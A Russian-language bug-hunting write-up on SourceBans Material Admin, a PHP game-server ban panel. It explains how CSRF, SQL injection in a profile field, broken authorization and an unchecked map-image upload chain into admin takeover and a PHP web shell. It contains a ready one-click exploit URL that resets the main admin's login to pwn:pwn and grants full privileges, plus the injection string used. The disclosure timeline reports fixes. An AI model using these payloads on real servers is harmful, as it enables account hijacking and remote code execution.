Разберем интересную атаку, начавшуюся с простого CSRF на обновление ссылки VK в профиле и завершившуюся захватом всех аккаунтов и получением RCE на хосте с доступом ко всем серверам, подключенным к веб-админке.
Для многих из нас Counter‑Strike, Team Fortress, Half-Life были не просто играми, а целым сообществом, где мы играли на кастомных серверах с кучей модов и плагинов. Практически везде в чате висела ссылка на SourceBans — веб‑интерфейс на PHP для управления банами, серверами, админ-листом. Именно в этой системе покупались админки, выдавались баны и муты, привилегии, велись споры игроков с администрацией...
Одним из наиболее популярных на русскоязычных серверах был и остаётся SourceBans Material Admin, форк SourceBans++ с обновленным дизайном и новыми фичами для админов и игроков.
Спустя пару лет после активной игры я решил посмотреть на SBMA с другой стороны. Стало интересно, насколько безопасный код пишут авторы модов? Какого рода уязвимости могут быть в подобных проектах? Спойлер: довольно критичные уязвимости. Более того, лежащие практически на поверхности.
Я расскажу, как в одной GET-ссылке собрал цепочку CSRF → SQLi → Account Takeover → Privilege Escalation,
как через другой баг получил RCE на хосте и какие уроки из этого извлек.
Версия SBMA <= 1.1.6 (530), PHP <= 8.0.
Админы в SourceBans обладают разными правами: например, один может быть модератором с доступом только к банам, другой — главным администратором с возможностью менять настройки сервера и добавлять новые карты. Права админов чётко регламентированы и определяются набором флагов, который лежит в БД.
У каждого админа есть профиль с его контактной информацией, которую он может указать по желанию.
В форке SBMA появились новые поля в профиле админа:
- ссылка на профиль VK;
- skype/discord.
Для их изменения используется xajax-метод ChangeAdminsInfos, который заносит в БД эти поля через UPDATE-запрос:
function ChangeAdminsInfos($aid, $vk, $skype)
{
...
$vk = RemoveCode($vk);
$vk = str_replace(array("http://","https://","/","vk.com"), "", $vk);
$skype = RemoveCode($skype);
$GLOBALS['db']->Execute("UPDATE `".DB_PREFIX."_admins` SET `vk` = '".$vk."', `skype` = '".$skype."' WHERE `aid` = ?", array((int)$aid));
...
}
Где функция RemoveCode просто вызывает htmlspecialchars:
function RemoveCode($text)
{
return htmlspecialchars(strip_tags($text));
}
В PHP <= 8.0 функция htmlspecialchars не экранирует кавычки (по умолчанию нет флага ENT_QUOTES), поэтому здесь невооруженным глазом видна SQL-инъекция:
Тем самым можно добавить "лишние" поля в запрос UPDATE и поменять те данные, к которым у нас по идее не должно быть доступа.
Таблица содержит следующие поля:
aid user authid password gid email validate extraflags immunity srv_group srv_flags srv_password lastvisit
Особый интерес представляют:
srv_flags,extraflags,immunity— можно повысить себе привилегииuser,password— можно поменять креды
покупаем самую дешевую админку (можно вообще без прав) и ставим ссылку VK:
PWNED',`extraflags`=16777215,`immunity`=100,`srv_flags`='z
и получаем максимальные привилегии и иммунитет от других админов. Можно делать все что угодно, и никто не сможет нас забанить.
Результат:
Можно ли сделать лучше? Как оказалось, да!
Дело в том, что на эту же ручку забыли прикрутить проверку CSRF-токена:
Если разобраться, складываются неплохие условия для классического CSRF:
-
Cookie админов выставляются без флага SameSite, а значит, действует правило Lax by default: куки включается в GET-запросы (при изменении URL, см. top-level navigation), а также в POST-запросы, но только в течение 2 минут после выдачи куки.
-
PHP-бэкенд принимает mime-тип
application/x-www-form-urlencoded, что позволяет не устанавливать кастомныйContent-Type, а значит, обойтись "простым" POST-запросом, который не потребует preflight-запроса со стороны SOP.
Можно связать CSRF с SQLi и угнать аккаунт админа, поменяв ему логин и пароль на pwn:pwn
(и заодно выдать на этот аккаунт максимальные привилегии. why not?)
Единственной проблемой будет заставить браузер положить сессионную куки в запрос. Для Lax by default на ум приходят два варианта атаки:
- Быстро заманить админа на сайт с POST формой (помним про окно в 2 минуты)
- Разместить форму на соседнем поддомене:
- sourcebans.testserver.ru
- forum.testserver.ru (например, свой HTML в сообщении или подписи)
В обоих вариантах возможности для атаки ограничены. А может, есть и третий?
Для меня было открытием, что xajax-обработчик на бэкенде даже не смотрит на метод запроса и воспринимает любой запрос с параметрами как POST.
То есть запрос
GET /index.php?xajax=foo&xajaxargs[]=1
Host: sbma
будет эквивалентен
POST /index.php
Host: sbma
Content-Length: 23
Content-Type: x-www-form-urlencoded
xajax=foo&xajaxargs[]=1
Идеально для CSRF! Тогда вся POST-форма сворачивается в простую ссылку:
http://sbma/index.php?xajax=ChangeAdminsInfos&xajaxr={timestamp}&xajaxargs[]={aid_админа}&xajaxargs[]=PWNED',`user`='pwn',`password`='$2a$10$jJRuXh1bYWMmgXb0LnagQuJUFcwXzwBoxY4.UtMuMbm4Mubbjx5W.',`extraflags`=16777215,`srv_flags`='z&xajaxargs[]=
(в качестве пароля используется BCrypt('pwn'))
И последний нюанс перед окончательным захватом аккаунта: необходимо указать aid админа. И здесь я заметил, как удачно разработчик ошибся в логике:
if($aid != $userbank->aid && !$userbank->is_logged_in())
{
$objResponse->redirect("index.php?p=login&m=no_access", 0);
...
}
Отказ прилетает, если пользователь залогинен под чужим aid И если он не залогинен вовсе. Очевидно, здесь должно быть ИЛИ (||). Получается, в ручке еще и сломанная авторизация: можно поменять контакты другому админу.
Для атаки это только в плюс: можно взять вообще любой aid, например, aid=1 (как правило, это создатель сервера).
Любой админ с активной сессией на сайте открывает ссылку
http://sbma/index.php?xajax=ChangeAdminsInfos&xajaxr=1749747262203&xajaxargs[]=1&xajaxargs[]=PWNED',`user`='pwn',`password`='$2a$10$jJRuXh1bYWMmgXb0LnagQuJUFcwXzwBoxY4.UtMuMbm4Mubbjx5W.',`email`='attacker@evil',`immunity`=100,`expired`=0,`extraflags`=16777215,`srv_flags`='z&xajaxargs[]=
и в этот момент у аккаунта с aid=1 меняются креды на pwn:pwn и выдаются максимальные привилегии.
Результат:
Заполучив аккаунт "суперадмина" со всеми флагами, имеем доступ ко всем настройкам сервера. Можно редактировать информацию о серверах, выдавать и снимать баны, управлять админ-листом или, например, поменять оформление главной страницы... не забывая заспамить всё XSS.
Однако Stored XSS — это меньшее, что можно сделать с правами главного админа. Попробуем выйти на более серьёзный импакт.
Для администраторов с флагом Редактирование сервера доступна функция загрузки изображений карт:
где стоит фильтр по Content-Type:
foreach ($fls['mapimg_file'] as $curfile) {
if ($curfile['error'] != 0 || $curfile['type'] != "image/jpeg")
$message .= sprintf("Не удалось загрузить файл %s" ...);
else {
move_uploaded_file($curfile['tmp_name'], SB_MAP_LOCATION."/".$curfile['name']);
$message .= sprintf("Файл %s загружен.", $curfile['name']);
}
...
}
Такой фильтр легко обходится: достаточно изменить Content-Type в запросе.
- Можно загрузить HTML-страницу с пресловутой XSS:
-
Можно загрузить свой
.htaccessи разрешить выполнение PHP изmaps/, включить листинг директории и т.д. -
Можно загрузить PHP-шелл и наконец получить RCE на сервере:
Ну а unix-шелл под www-data уже дает:
- редактирование любых php-скриптов;
- полный доступ к БД;
- доступ к секретам в окружении;
- доступ к RCON-консоли на всех подключенных серверах;
- дальнейшее продвижение внутри сети (в зависимости от хостинга).
В игровых сообществах моды и плагины зачастую представляют собой небольшие опенсорс-проекты, где мало кто задумывается о безопасности кода. Особенно это актуально в CS, TF2 и других играх с кастомными серверами, где игру развивает сообщество.
Что касается SBMA, проект жив и до сих пор используется (онлайн до 10-20к серверов):
Выводы о безопасности подобных плагинов:
- Уязвимостей в модах может быть еще много, и большинство из них, скорее всего, лежат на поверхности;
- В русскоязычном сообществе моддинга довольно мало багхантеров: простые уязвимости могут висеть годами никем не замеченными;
- Необходимо популяризировать идею безопасной разработки и ИБ в игровых сообществах.
Вывод для себя: при аудите важную роль играет не столько поиск отдельных багов, сколько их грамотная комбинация - то, как их можно соединить в какой-нибудь нестандартный чейн. Ведь цепочка из на первый взгляд средненьких багов может дать импакт, сравнимый с самыми критичными уязвимостями.
Таймлайн:
- 29.10.2025: отправил разработчику письмо с описанием багов
- 12.11.2025: разместил в репозитории issue с контактами для связи
- 01.02.2026: разработчик подтвердил уязвимости
- 08.02.2026: уязвимости исправлены, опубликована эта заметка




















